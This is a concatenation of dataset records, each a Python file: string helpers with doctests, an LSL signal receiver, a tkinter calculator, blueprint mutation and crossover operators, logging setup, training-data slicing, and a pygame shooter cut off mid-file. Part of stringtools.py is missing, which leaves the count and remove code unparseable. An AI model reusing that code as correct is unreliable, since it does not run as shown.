''\n >>> mirror(\"a\")\n 'aa'\n \"\"\"\n output=s+reverse(s)\n return output\n\ndef remove_letter(letter, strng):\n \"\"\"\n >>> remove_letter('a', 'apple')\n 'pple'\n >>> remove_letter('a', 'banana')\n 'bnn'\n >>> remove_letter('z', 'banana')\n 'banana'\n >>> remove_letter('i', 'Mississippi')\n 'Msssspp'\n \"\"\"\n output=\"\"\n for char in strng:\n if char!=letter:\n output=output+char\n return output\n\ndef is_palindrome(s):\n \"\"\"\n >>> is_palindrome('abba')\n True\n >>> is_palindrome('abab')\n False\n >>> is_palindrome('tenet')\n True\n >>> is_palindrome('banana')\n False\n >>> is_palindrome('straw warts')\n True\n \"\"\"\n return s==reverse(s)\n\ndef count(sub, s):\n \"\"\"\n >>> count('is', 'Mississippi')\n 2\n >>> count('an', 'banana')\n 2\n >>> count('ana', 'banana')\n 2\n >>> count('nana', 'banana')\n 1\n >>> count('nanan', 'banana')\n 0\n \"\"\"\n import string\n output=0\n i=0\n while 0<=i>> remove('an', 'banana')\n 'bana'\n >>> remove('cyc', 'bicycle')\n 'bile'\n >>> remove('iss', 'Mississippi')\n 'Missippi'\n >>> remove('egg', 'bicycle')\n 'bicycle'\n \"\"\"\n import string\n index=string.find(s,sub)\n if index!=-1:\n output=s[:index]+s[(index+len(sub)):]\n elif index==-1:\n output=s\n return output\n\ndef remove_all(sub, s):\n \"\"\"\n >>> remove_all('an', 'banana')\n 'ba'\n >>> remove_all('cyc', 'bicycle')\n 'bile'\n >>> remove_all('iss', 'Mississippi')\n 'Mippi'\n >>> remove_all('eggs', 'bicycle')\n 'bicycle'\n \"\"\"\n import string\n index=string.find(s,sub)\n output=s\n while index!=-1:\n output=s[:index]+s[(index+len(sub)):]\n index=string.find(output,sub)\n if index==-1:\n return output\n \nif __name__ == '__main__':\n import doctest\n doctest.testmod()","sub_path":"stringtools.py","file_name":"stringtools.py","file_ext":"py","file_size_in_byte":2626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"242565887","text":"\n\"\"\"\nOpenSignals Lab Streaming Layer - Receiving data from a specific PLUX device\n----------------------------------------------------------------------------\nExample script to show how to receive a (multi-)channel signal stream from\nOpenSignals (r)evolution & a specific PLUX device using the Lab Streaming Layer\n(LSL) and the device's MAC-address.\n\"\"\"\n# Imports\nfrom pylsl import StreamInlet, resolve_stream\n# Define the MAC-address of the acquisition device used in OpenSignals\nmac_address = \"98:D3:41:FD:50:0C\"\n# Resolve stream\nprint(\"# Looking for an available OpenSignals stream from the specified device...\")\nos_stream = resolve_stream(\"type\", mac_address)\n# Create an inlet to receive signal samples from the stream\ninlet = StreamInlet(os_stream[0])\nwhile True:\n # Receive samples\n samples, timestamp = inlet.pull_sample()\n print(timestamp, samples)\n","sub_path":"Python/Bitalino/testLSLmac.py","file_name":"testLSLmac.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"210027165","text":"from tkinter import *\r\nimport numpy as np\r\n\r\n\r\ncalc = Tk()\r\ncalc.title(\"Arnab's Calculator\")\r\ncalc.configure(background=\"gray90\")\r\nequation=StringVar()\r\nstring=''\r\n\r\ndef click(number):\r\n global string\r\n string += str(number)\r\n equation.set(string)\r\n\r\ndef clear():\r\n global string\r\n string = ''\r\n equation.set(string)\r\ndef back():\r\n global string \r\n string = string[:-1]\r\n equation.set(string)\r\ndef sin():\r\n click(\"sin(\")\r\n global string\r\n string = float(string)\r\n string = round(math.sin(math.radians(string)), 5)\r\n equation.set(float(string))\r\n string = str(string)\r\ndef good(string):\r\n if \"^\" in string:\r\n string = string.replace(\"^\",\"**\")\r\n # equation.set(str(eval(string.replace(\"^\",\"**\"))))\r\n if \"pi\" in string:\r\n string = string.replace(\"pi\",str(np.pi))\r\n\r\n# equation.set(str(eval(string.replace(\"pi\",str(np.pi)))))\r\n if \"e\" in string:\r\n string = string.replace(\"e\",str(np.e))\r\n \r\n return string\r\ndef equalsTo():\r\n global string\r\n string = good(string)\r\n try:\r\n \r\n# equation.set(str(eval(string.replace(\"e\",str(np.e)))))\r\n \r\n equation.set(str(eval(string)))\r\n except:\r\n \r\n string='Error!'\r\n equation.set(string)\r\n\r\n\r\n\r\n\r\ntext_display=Entry(calc,font=('arial',20,'bold'),textvariable=equation,bg='pale turquoise1',justify='right',border=30,insertwidth=4).grid(columnspan=9)\r\n\r\nbtn1=Button(calc,padx=20,pady=1,width=2,bd=8,font=('arial',20,'bold'),text=\"7\",fg=\"black\",bg=\"powder blue\",command=lambda:click(7)).grid(row=5,column=0,pady=5)\r\nbtn2=Button(calc,padx=20,pady=1,width=2,bd=8,font=('arial',20,'bold'),text=\"8\",fg=\"black\",bg=\"powder blue\",command=lambda:click(8)).grid(row=5,column=1)\r\nbtn3=Button(calc,padx=20,pady=1,width=2,bd=8,font=('arial',20,'bold'),text=\"9\",fg=\"black\",bg=\"powder blue\",command=lambda:click(9)).grid(row=5,column=2)\r\nbtn4=Button(calc,padx=20,pady=1,width=2,bd=8,font=('arial',20,'bold'),text=\"+\",fg=\"black\",bg=\"powder blue\",command=lambda:click(\"+\")).grid(row=3,column=3)\r\nbtn5=Button(calc,padx=20,pady=1,width=2,bd=8,font=('arial',20,'bold'),text=\"4\",fg=\"black\",bg=\"powder blue\",command=lambda:click(4)).grid(row=4,column=0,pady=5)\r\nbtn6=Button(calc,padx=20,pady=1,width=2,bd=8,font=('arial',20,'bold'),text=\"5\",fg=\"black\",bg=\"powder blue\",command=lambda:click(5)).grid(row=4,column=1)\r\nbtn7=Button(calc,padx=20,pady=1,width=2,bd=8,font=('arial',20,'bold'),text=\"6\",fg=\"black\",bg=\"powder blue\",command=lambda:click(6)).grid(row=4,column=2)\r\nbtn8=Button(calc,padx=20,pady=1,width=2,bd=8,font=('arial',20,'bold'),text=\"-\",fg=\"black\",bg=\"powder blue\",command=lambda:click(\"-\")).grid(row=4,column=3)\r\nbtn9=Button(calc,padx=20,pady=1,width=2,bd=8,font=('arial',20,'bold'),text=\"1\",fg=\"black\",bg=\"powder blue\",command=lambda:click(1)).grid(row=3,column=0,pady=5)\r\nbtn10=Button(calc,padx=20,pady=1,width=2,bd=8,font=('arial',20,'bold'),text=\"2\",fg=\"black\",bg=\"powder blue\",command=lambda:click(2)).grid(row=3,column=1)\r\nbtn11=Button(calc,padx=20,pady=1,width=2,bd=8,font=('arial',20,'bold'),text=\"3\",fg=\"black\",bg=\"powder blue\",command=lambda:click(3)).grid(row=3,column=2)\r\nbtn12=Button(calc,padx=20,pady=1,width=2,bd=8,font=('arial',20,'bold'),text=\"*\",fg=\"black\",bg=\"powder blue\",command=lambda:click(\"*\")).grid(row=5,column=3)\r\nbtn13=Button(calc,padx=20,pady=1,width=2,bd=8,font=('arial',20,'bold'),text=\"/\",fg=\"black\",bg=\"powder blue\",command=lambda:click(\"/\")).grid(row=6,column=3)\r\nbtn14=Button(calc,padx=20,pady=1,width=2,bd=8,font=('arial',20,'bold'),text=\"0\",fg=\"black\",bg=\"powder blue\",command=lambda:click(0)).grid(row=6,column=1)\r\nbtn15=Button(calc,padx=20,pady=1,width=2,bd=8,font=('arial',20,'bold'),text=\"C\",fg=\"white\",bg=\"red2\",command=lambda:clear()).grid(row=1,column=1,padx=10)\r\nbtn16=Button(calc,padx=20,pady=1,width=2,bd=8,font=('arial',20,'bold'),text=\"=\",fg=\"white\",bg=\"green2\",command=lambda:equalsTo()).grid(row=1,column=3)\r\nbtn17=Button(calc,padx=20,pady=1,width=2,bd=8,font=('arial',20,'bold'),text=\".\",fg=\"black\",bg=\"powder blue\",command=lambda:click(\".\")).grid(row=6,column=2)\r\nbtn18=Button(calc,padx=20,pady=1,width=2,bd=8,font=('arial',20,'bold'),text=\"(\",fg=\"black\",bg=\"powder blue\",command=lambda:click(\"(\")).grid(row=2,column=2,padx=10)\r\nbtn19=Button(calc,padx=20,pady=1,width=2,bd=8,font=('arial',20,'bold'),text=\")\",fg=\"black\",bg=\"powder blue\",command=lambda:click(\")\")).grid(row=2,column=3,padx=10)\r\nbtn20=Button(calc,padx=20,pady=1,width=2,bd=8,font=('arial',20,'bold'),text=\"^\",fg=\"black\",bg=\"powder blue\",command=lambda:click(\"^\")).grid(row=6,column=0,pady=5)\r\nbtn21=Button(calc,padx=20,pady=1,width=2,bd=8,font=('arial',20,'bold'),text=\"pi\",fg=\"black\",bg=\"powder blue\",command=lambda:click(\"pi\")).grid(row=2,column=0,pady=5)\r\nbtn22=Button(calc,padx=20,pady=1,width=2,bd=8,font=('arial',20,'bold'),text=\"e\",fg=\"black\",bg=\"powder blue\",command=lambda:click(\"e\")).grid(row=2,column=1)\r\nbtn23=Button(calc,padx=20,pady=1,width=2,bd=8,font=('arial',20,'bold'),text=\"Cl\",fg=\"white\",bg=\"red2\",command=lambda:back()).grid(row=1,column=0,pady=5,padx=10)\r\n\r\n\r\n\r\ncalc.mainloop()\r\n","sub_path":"calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":5130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"130275676","text":"from stacked.meta.blueprint import Blueprint, \\\n get_io_shape_indices, toggle_uniqueness, get_duplicates\nfrom stacked.utils import common\nfrom logging import warning, info\nimport numpy as np\nimport copy\n\n\ndef log(log_func, msg):\n if common.DEBUG_HEURISTICS:\n log_func(\"stacked.meta.heuristics.operators: %s\" % msg)\n\n\ndef mutate_sub(blueprint, key, diameter, p, p_decay):\n \"\"\"Mutate a sub-element\n\n Mutate in blueprint[key], where the sub-element is randomly picked\n \"\"\"\n element = blueprint[key]\n\n if (issubclass(type(element), Blueprint)\n and len(element['mutables']) > 0):\n random_key = np.random.choice(list(element['mutables'].keys()))\n return mutate(element, random_key, diameter, p, p_decay)\n\n return False\n\n\ndef adjust_mutation(blueprint, key):\n \"\"\"Post mutation adjustments to the blueprint\"\"\"\n if key == 'depth':\n # shrink children size to the given depth\n new_children = []\n children = blueprint['children']\n new_depth = blueprint[key]\n remove_count = len(children) - new_depth\n\n io_indices = get_io_shape_indices(children)\n duplicates = get_duplicates(io_indices)\n np.random.shuffle(duplicates)\n remove_set = set(duplicates[:remove_count])\n\n for i, c in enumerate(children):\n if i not in remove_set:\n new_children.append(c)\n\n blueprint['children'] = new_children\n log(info, 'Adjusted mutation: %s'\n % blueprint['children'])\n\n\ndef mutate_current(blueprint, key, diameter, p):\n \"\"\"Mutate the current blueprint, or change uniqueness\"\"\"\n domain = blueprint['mutables'][key]\n\n def compare(bp1, bp2):\n return bp1 == bp2\n\n float_index = domain.get_normalized_index(blueprint[key], compare)\n\n if float_index >= 0.0:\n new_index, value = domain.pick_random_neighbor(float_index, diameter)\n else:\n new_index, value = domain.pick_random()\n\n blueprint[key] = value\n log(warning, 'Mutated %s, at key: %s with %s'\n % (blueprint['name'], key, value))\n\n adjust_mutation(blueprint, key)\n\n if np.random.random() < p:\n toggle_uniqueness(blueprint, key)\n\n return True\n\n\ndef mutate(blueprint, key=None, diameter=1.0, p=0.05, p_decay=1.0,\n choice_fn=lambda bp: np.random.choice(list(bp['mutables'].keys()))):\n \"\"\"Mutate the blueprint element given the key\n\n Args:\n blueprint: Blueprint instance to mutate\n key: name of the item to mutate\n diameter: [0.0, 1.0] if small close by values will be picked\n p: probability with which mutate will operate\n p_decay: Multiplier for p, when a component is being mutated instead\n choice_fn: Function that picks component key to mutate\n \"\"\"\n domains = blueprint['mutables']\n\n if key is None:\n if len(domains) == 0:\n log(warning, \"Blueprint {} not mutable\".format(blueprint['name']))\n return False\n\n key = choice_fn(blueprint)\n\n if key not in domains or np.random.random() > p:\n return mutate_sub(blueprint, key, diameter, p * p_decay, p_decay)\n\n return mutate_current(blueprint, key, diameter, p)\n\n\ndef get_parent_ids(blueprint):\n return set([id(p) for p in blueprint.get_parents()])\n\n\ndef child_in_parents(blueprint1, blueprint2):\n parents = get_parent_ids(blueprint2)\n return id(blueprint1) in parents\n\n\ndef children_in_parents(children, parents):\n parents = set([id(p) for p in parents])\n\n for c in children:\n if id(c) in parents:\n return True\n\n return False\n\n\ndef readjust_uniqueness(blueprint):\n if blueprint['unique']:\n blueprint.make_unique()\n\n\ndef readjust_child(blueprint, parent):\n \"\"\"Set the new parent and adjust uniqueness again\"\"\"\n blueprint['parent'] = parent\n readjust_uniqueness(blueprint)\n\n\ndef readjust_children(children, parent):\n for c in children:\n readjust_child(c, parent)\n\n\ndef swap_child(children1, children2, key1, key2):\n \"\"\"Swap child in children1 with another in children2\"\"\"\n tmp = children1[key1]\n parent1 = tmp['parent']\n parent2 = children2[key2]['parent']\n\n # prevent cycles\n if (child_in_parents(tmp, children2[key2])\n or child_in_parents(children2[key2], tmp)):\n return False\n\n # swap\n children1[key1] = children2[key2]\n children2[key2] = tmp\n\n readjust_child(children1[key1], parent1)\n readjust_child(children2[key2], parent2)\n\n return True\n\n\ndef override_child(children1, children2, key1, key2):\n \"\"\"Override child in children2 with one from children1\"\"\"\n parent = children2[key2]['parent']\n blueprint = copy.deepcopy(children1[key1])\n\n if child_in_parents(blueprint, children2[key2]):\n return False\n\n children2[key2] = blueprint\n\n readjust_child(blueprint, parent)\n\n return True\n\n\ndef cross_children(children1, children2,\n index1, index2, ix1=None, ix2=None):\n parent1 = children1[0]['parent']\n parent2 = children2[0]['parent']\n parents1 = [parent1] + parent1.get_parents()\n parents2 = [parent2] + parent2.get_parents()\n\n if children_in_parents(children1[index1:ix1], parents2):\n return False\n\n if children_in_parents(children1[index2:ix2], parents1):\n return False\n\n common.swap_consecutive(children1, children2,\n index1, index2, ix1, ix2)\n readjust_children(children1, parent1)\n readjust_children(children2, parent2)\n\n\ndef override_children(children1, children2,\n index1, index2, ix1=None, ix2=None):\n \"\"\"Override some of elements in children2 with ones from children1\"\"\"\n parent2 = children2[0]['parent']\n parents = [parent2] + parent2.get_parents()\n\n if children_in_parents(children1[index1:ix1], parents):\n return False\n\n children2[index2:ix2] = copy.deepcopy(children1[index1:ix1])\n\n readjust_children(children2, parent2)\n\n\ndef pick_key_dict(iterable1, iterable2,\n key1='input_shape', key2='input_shape', ix1=0, ix2=0):\n \"\"\"Pick index list dictionaries with the same key\"\"\"\n dict1 = common.get_same_value_indices(iterable1, key1, ix1)\n dict2 = common.get_same_value_indices(iterable2, key2, ix2)\n\n intersection = set(dict1.keys()).intersection(set(dict2.keys()))\n keys = list(intersection)\n return dict1, dict2, keys\n\n\ndef pick_random_cross_indices(shapes1, shapes2, keys):\n \"\"\"Randomly pick indices, and matching key (shape) in shapes\"\"\"\n if len(keys) > 0:\n key = np.random.choice(list(keys))\n assert(len(shapes1[key]) > 0 and len(shapes2[key]) > 0)\n index1 = np.random.choice(shapes1[key])\n index2 = np.random.choice(shapes2[key])\n return index1, index2, key\n\n return None, None, None\n\n\ndef search_exit(iterable1, iterable2, index1, index2):\n \"\"\"Search for a crossover exit point, given entry (index1, index2)\n\n No cross operation is done on children[1,2] yet\n (index1, index2) is a hypothetical entry point\n \"\"\"\n # shape1, shape2 switched due to cross_elements no being done\n shapes2, shapes1, keys = pick_key_dict(iterable1, iterable2,\n 'output_shape', 'output_shape',\n index1, index2)\n\n # search for a random exit point as if cross_elements was done\n ix1, ix2, key = pick_random_cross_indices(shapes1, shapes2, keys)\n len2 = len1 = None\n\n if ix1 is not None:\n ix1 = ix1 - index2 + index1 + 1\n len1 = index1 + len(iterable2) - ix2\n\n if ix2 is not None:\n ix2 = ix2 - index1 + index2 + 1\n len2 = index2 + len(iterable1) - ix1\n\n return ix1, ix2, len1, len2\n\n\ndef crossover_children(iterable1, iterable2):\n \"\"\"Crossover on children\n\n Arguments should contain the keys input_shape, and output_shape\n \"\"\"\n shapes1, shapes2, keys = pick_key_dict(iterable1, iterable2)\n index1, index2, key = pick_random_cross_indices(shapes1, shapes2, keys)\n\n if index1 is None or index2 is None:\n log(warning, \"Children don't have matching input shape!\")\n return False\n\n ix1, ix2, len1, len2 = search_exit(iterable1, iterable2, index1, index2)\n\n if (ix1 is None or ix2 is None or\n ix1 == len1 or ix2 == len2):\n if iterable1[-1]['output_shape'] == iterable2[-1]['output_shape']:\n cross_children(iterable1, iterable2, index1, index2)\n return True\n return False\n\n cross_children(iterable1, iterable2, index1, index2)\n cross_children(iterable1, iterable2, ix1, ix2)\n\n return True\n\n\ndef copy_children(children1, children2):\n \"\"\"Override children\n\n Arguments should contain the keys input_shape, and output_shape\n \"\"\"\n shapes1, shapes2, keys = pick_key_dict(children1, children2)\n index1, index2, key = pick_random_cross_indices(shapes1, shapes2, keys)\n\n if index1 is None or index2 is None:\n log(warning, \"Children don't have matching input shape!\")\n return False\n\n shapes1, shapes2, keys = pick_key_dict(children1, children2, 'output_shape',\n 'output_shape', index1, index2)\n ix1, ix2, key = pick_random_cross_indices(shapes1, shapes2, keys)\n\n if (ix1 is None or ix2 is None or\n ix1 == len(children1) or ix2 == len(children2)):\n if children1[-1]['output_shape'] == children2[-1]['output_shape']:\n override_children(children1, children2, index1, index2)\n return True\n return False\n\n override_children(children1, children2, index1, index2, ix1 + 1, ix2 + 1)\n\n return True\n\n\ndef op_over_children(blueprint1, blueprint2, p_items, p_children,\n fn_over, fn1=swap_child, fn=crossover_children):\n \"\"\"Crossover or copy over children (fn_over)\"\"\"\n if 'children' in blueprint1 and 'children' in blueprint2:\n children1 = blueprint1['children']\n children2 = blueprint2['children']\n\n # try crossover or copy over immediate children:\n if np.random.random() < p_children:\n if fn(children1, children2):\n return True\n\n # try over grandchildren, or children x grandchildren\n if np.random.random() < p_children:\n c1 = children1 + [blueprint1]\n c2 = children2 + [blueprint2]\n bp1 = np.random.choice(c1)\n bp2 = np.random.choice(c2)\n if fn_over(bp1, bp2, p_items, p_children, fn1, fn):\n return True\n\n return False\n\n\ndef op_over_item(blueprint1, blueprint2, key, fn=swap_child):\n if key in blueprint1 and key in blueprint2:\n key1 = blueprint1[key]\n key2 = blueprint2[key]\n if (key1 is not None and key2 is not None\n and key1['input_shape'] == key2['input_shape']\n and key1['input_shape'] is not None\n and key1['output_shape'] is not None\n and key1['output_shape'] == key2['output_shape']):\n return fn(blueprint1, blueprint2, key, key)\n\n return False\n\n\ndef op_over(blueprint1, blueprint2, p_items=0.5, p_children=0.9,\n fn1=swap_child, fn2=crossover_children):\n \"\"\"In place, crossover like operation on conv, convdim, linear or children\"\"\"\n if np.random.random() < p_items:\n if op_over_item(blueprint1, blueprint2, 'conv', fn1):\n return True\n if op_over_item(blueprint1, blueprint2, 'convdim', fn1):\n return True\n if op_over_item(blueprint1, blueprint2, 'linear', fn1):\n return True\n\n return op_over_children(blueprint1, blueprint2,\n p_items, p_children, op_over, fn1, fn2)\n\n\ndef crossover(blueprint1, blueprint2, p_items=0.5, p_children=0.9):\n return op_over(blueprint1, blueprint2, p_items, p_children)\n\n\ndef copyover(blueprint1, blueprint2, p_items=0.5, p_children=0.9):\n return op_over(blueprint1, blueprint2, p_items, p_children,\n fn1=override_child, fn2=copy_children)\n","sub_path":"stacked/meta/heuristics/operators.py","file_name":"operators.py","file_ext":"py","file_size_in_byte":11991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"23252826","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n__author__ = 'xuebaoku'\n\n#加载 自用主配置文件\nimport MyConfig\nimport logging\nimport logging.handlers\nimport logging.config\nfrom lib.commons.check.check_os import check_system\nfrom lib.commons.check.check_path import check_path_exist\nfrom lib.commons.response import BaseResponse\n\nlogger = logging.getLogger(__name__)\nstamdard_format = '[%(asctime)s][pid:%(process)d][%(threadName)s:%(thread)d][task_id:%(name)s][%(filename)s:%(lineno)d] [%(levelname)s]- %(message)s'\nsimple_format = '[%(filename)s:%(lineno)d][%(levelname)s] %(message)s'\nid_simple_format = '[%(levelname)s] %(message)s'\ncheck_path_exist(MyConfig.BASE_DIR+'/logs/')\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,# this fixes the problem\n 'formatters': {\n 'standard': {#详细\n 'format': stamdard_format\n },\n 'simple': {#简单\n 'format': simple_format\n },\n },\n 'filters': {},\n 'handlers': {\n 'console':{\n 'level': 'INFO',\n 'class': 'logging.StreamHandler',#打印到前台\n 'formatter': 'simple'\n },\n 'default': {\n 'level':'DEBUG',\n 'class':'logging.handlers.RotatingFileHandler',\n 'filename': MyConfig.os.path.join(MyConfig.BASE_DIR+'/logs/','all.log'), #或者直接写路径:'c:\\logs\\all.log',\n 'maxBytes': 1024*1024*5, # 5 MB\n 'backupCount': 5,\n 'formatter':'standard',\n },\n },\n 'loggers': {\n '': {\n 'handlers': ['default','console'],\n 'level': 'DEBUG',\n 'propagate': True\n },\n 'practice.0001': {\n 'handlers': ['default','console'],\n 'level': 'DEBUG',\n 'propagate': False\n },\n\n }\n}\nlogging.config.dictConfig(LOGGING)\n\ndef My_addHandler(dir,name,logger):\n try:\n system = check_system()\n if system.data == 'Linux':\n logs_file = '/home/work/sh/op/web/log/qa-log/'+ name\n else:\n logs_file = MyConfig.BASE_DIR + '\\\\logs\\\\' +'%s\\\\'%dir+ name +'.logs'\n check_path_exist(logs_file)\n My_logger = logging.getLogger(name)\n My_logger.setLevel(logging.DEBUG)\n handler = logging.FileHandler(logs_file)\n handler.setLevel(logging.DEBUG)\n formatter = logging.Formatter(id_simple_format)\n handler.setFormatter(formatter)\n My_logger.addHandler(handler)\n #My_logger.addHandler(logger) #测试不能加入系统默认logger\n logger.debug(u'添加 自定义日志级别 成功')\n return My_logger\n except:\n logger.error(u'添加 自定义日志级别失败',exc_info=True)\n raise Exception(u'添加 自定义日志级别失败')\n\ndef My_removeHandler(name,logger):\n try:\n logger.removeHandler(name)\n logger.debug(u'删除 自定义日志级别 成功')\n except:\n logger.error(u'删除 自定义日志级别 失败',exc_info=True)\n raise Exception(u'删除 自定义日志级别 失败')","sub_path":"lib/commons/my_logging.py","file_name":"my_logging.py","file_ext":"py","file_size_in_byte":3078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"550095443","text":"import numpy as np \nimport sys\nimport os\n#prepare data for training from csv files.\n#each csv file contain N x 45 parentToChildVect for one subject\n#data prepared as list of length N, with each element a T x 42 matrix\n#T = len_sample, N = num_sample\ndef sample_data(input_data,len_samples,data_shift):\n\toverall_data = []\n\ttrain_data = []\n\tlabel_data = []\n\t#for i in range(num_samples):\n\ti = 0;\n\t#while (i+1)*(len_samples+1) < input_data.shape[0]:\n\twhile i*data_shift + len_samples < input_data.shape[0]:\n\t\t#if (i+1)*(len_samples+1) >= input_data.shape[0]:\n\t\t\t#break\n\t\ts_t = int(i*data_shift)\n\t\te_t = int(i*data_shift + len_samples + 1)\n\t\tsample_data = input_data[s_t:e_t, :]\n\t\t#overall_data.append([class_ids[x] fddor x in sample_text])\n\t\toverall_data.append(sample_data)\n\t\ti = i + 1\n\t#overall_data = np.array(overall_data,dtype=np.float64)\n\t#train_data = overall_data[:,:-1,3:]\n\t#label_data = overall_data[:,1:,3:]\n\treturn overall_data\n\ndef createTrain(datadir,num_train_samples,len_train_samples, num_valid_samples, len_valid_samples, data_shift):\n\toverall_train_data = []\n\toverall_valid_data = []\n\tfor scene in os.listdir(datadir):\n\t\tif len(overall_valid_data) >= num_valid_samples:\n\t\t\tbreak\n\t\tif len(overall_train_data) >= num_train_samples:\n\t\t\tval_subjects = os.listdir(os.path.join(datadir, scene))\n\t\t\tprint('scene {0} has {1} validation subjects'.format(scene, len(val_subjects)))\n\t\t\tfor sub in val_subjects:\n\t\t\t\tfilename = os.path.join(datadir, scene,sub)\n\t\t\t\toverall_valid_data_sub = createTrainSubject(filename, len_valid_samples, data_shift)\n\t\t\t\toverall_valid_data.extend(overall_valid_data_sub)\n\t\t\t\tif len(overall_valid_data)>num_valid_samples:\n\t\t\t\t\toverall_valid_data = overall_valid_data[:num_valid_samples]\n\t\t\t\t\tbreak\n\t\telse:\n\t\t\tsubjects = os.listdir(os.path.join(datadir,scene))\n\t\t\tprint('scene {0} has {1} training subjects'.format(scene, len(subjects)))\n\t\t\tfor sub in subjects:\n\t\t\t\tfilename = os.path.join(datadir, scene, sub)\n\t\t\t\toverall_train_data_sub = createTrainSubject(filename, len_train_samples, data_shift)\n\t\t\t\toverall_train_data.extend(overall_train_data_sub)\n\t\t\t\tif len(overall_train_data)>num_train_samples:\n\t\t\t\t\toverall_train_data = overall_train_data[:num_train_samples]\n\t\t\t\t\tbreak\n\t#print('training_data: {0} distinct samples in total'.format(len(overall_data)))\n\toverall_train_data = np.array(overall_train_data, dtype=np.float32)\n\toverall_train_data = np.swapaxes(overall_train_data, 0, 1)\n\ttrain_data = overall_train_data[:-1,:,:]\n\ttrain_label = overall_train_data[1:,:,:]\n\toverall_valid_data = np.array(overall_valid_data, dtype=np.float32)\n\toverall_valid_data = np.swapaxes(overall_valid_data, 0, 1)\n\tvalid_data = overall_valid_data[:-1,:,:]\n\tvalid_label = overall_valid_data[1:,:,:]\n\treturn train_data, train_label, valid_data, valid_label\n\ndef createTrainSubject(filename, len_samples, data_shift):\n\tinput_data = np.loadtxt(filename, delimiter=',')\n\t#print '{1} frames in subject {0}'.format(os.path.basename(filename), input_data.shape[0])\n\n\t#[train_data,label_data] = sample_data(input_text,num_samples,len_samples,class_ids)\n\toverall_data = sample_data(input_data,len_samples, data_shift)\n\t#train_data = np.swapaxis(train_data, 0, 1)\n\t#label_data = np.swapaxis(label_data, 0, 1)\n\t# dim = T x N x 45\n\treturn overall_data\n\nif __name__==\"__main__\":\n\tdatadir = '/home/luna/ssp/data/single_original'\n\t[train_data, train_label, valid_data, valid_label] = createTrain(datadir,250,25,10,100,5)\n\tprint(train_data.shape)\n\tprint(train_label.shape)\n\tprint(valid_data.shape)\n\tprint(valid_label.shape) \n\tprint(train_data[2,1,1:10] - train_label[1,1,1:10])\n\tprint(train_data[24,1,1:10] - train_label[23,1,1:10])\n\tprint(np.linalg.norm(train_data[3,100,3:6]))\t\n\tprint(np.linalg.norm(train_data[24,200,6:9]))\t\n","sub_path":"dome/noisyRNN/generateTrainValidDataonDomeData.py","file_name":"generateTrainValidDataonDomeData.py","file_ext":"py","file_size_in_byte":3735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"579306927","text":"from planeSprites import *\r\nimport pygame\r\n\r\n\r\nclass PlaneGame(object):\r\n\t\"\"\"飞机大战主游戏\"\"\"\r\n\tFlag = True\r\n\t\r\n\t# 初始化游戏\r\n\tdef __init__(self):\r\n\t\t# 创建游戏的窗口\r\n\t\tself.screen = pygame.display.set_mode(SCREEN_RECT.size)\r\n\t\t# 创建游戏的时钟\r\n\t\tself.clock = pygame.time.Clock()\r\n\t\t# 调用私有方法,创建游戏精灵和精灵组\r\n\t\tself.__createSprites()\r\n\t\t# 设置定时器事件\r\n\t\t# 创建敌机\r\n\t\tpygame.time.set_timer(CREATE_ENEMY_EVENT, 1000)\r\n\t\t# 战机开火\r\n\t\tpygame.time.set_timer(PLANE_FIRE_EVENT, 500)\r\n\t\t\r\n\t# 创建���灵\r\n\tdef __createSprites(self):\r\n\t\tbackground1 = Background()\r\n\t\tbackground2 = Background(is_alt=True)\r\n\t\t\r\n\t\tself.backGroup = pygame.sprite.Group(background1, background2)\r\n\t\t# 敌机精灵组\r\n\t\tself.enemyGroup = pygame.sprite.Group()\r\n\t\t# 战机精灵组\r\n\t\tself.plane = Plane()\r\n\t\tself.planeGroup = pygame.sprite.Group(self.plane)\r\n\t\t\r\n\t# 游戏开始\r\n\tdef startGame(self):\r\n\t\t\r\n\t\twhile True:\r\n\t\t\t# 1.设置刷新帧率\r\n\t\t\tself.clock.tick(FRAME_PER_SEC)\r\n\t\t\t# 2.事件监听\r\n\t\t\tself.__eventHandler()\r\n\t\t\t# 3.碰撞检测\r\n\t\t\tself.__checkCollide()\r\n\t\t\t# 4.更新、绘制精灵组\r\n\t\t\tself.__updateSprite()\r\n\t\t\t# 5.更新显示\r\n\t\t\tpygame.display.update()\r\n\r\n\t# 事件监听\r\n\tdef __eventHandler(self):\r\n\t\tkeys_pressed = pygame.key.get_pressed()\r\n\t\tfor event in pygame.event.get():\r\n\t\t\t\r\n\t\t\t# 判断是否退出游戏\r\n\t\t\tif event.type == pygame.QUIT:\r\n\t\t\t\tPlaneGame.__gameOver()\r\n\t\t\telif event.type == CREATE_ENEMY_EVENT:\r\n\t\t\t\tenemy = Enemy()\r\n\t\t\t\tself.enemyGroup.add(enemy)\r\n\t\t\tif keys_pressed[pygame.K_SPACE]:\r\n\t\t\t\tif event.type == PLANE_FIRE_EVENT:\r\n\t\t\t\t\tself.plane.fire()\r\n\t\t\t\tpass\r\n\t\t\r\n\t\tself.plane.move(keys_pressed)\r\n\t\tpass\r\n\t\r\n\t# 碰撞检测\r\n\tdef __checkCollide(self):\r\n\t\t\r\n\t\tpygame.sprite.groupcollide(self.plane.bullets, self.enemyGroup, True, True)\r\n\t\t\r\n\t\tenems = pygame.sprite.spritecollide(self.plane, self.enemyGroup, True)\r\n\t\t\r\n\t\tif len(enems) > 0:\r\n\t\t\tself.plane.kill()\r\n\t\t\tPlaneGame.__gameOver()\r\n\t\tpass\r\n\t\r\n\t# 更新绘制\r\n\tdef 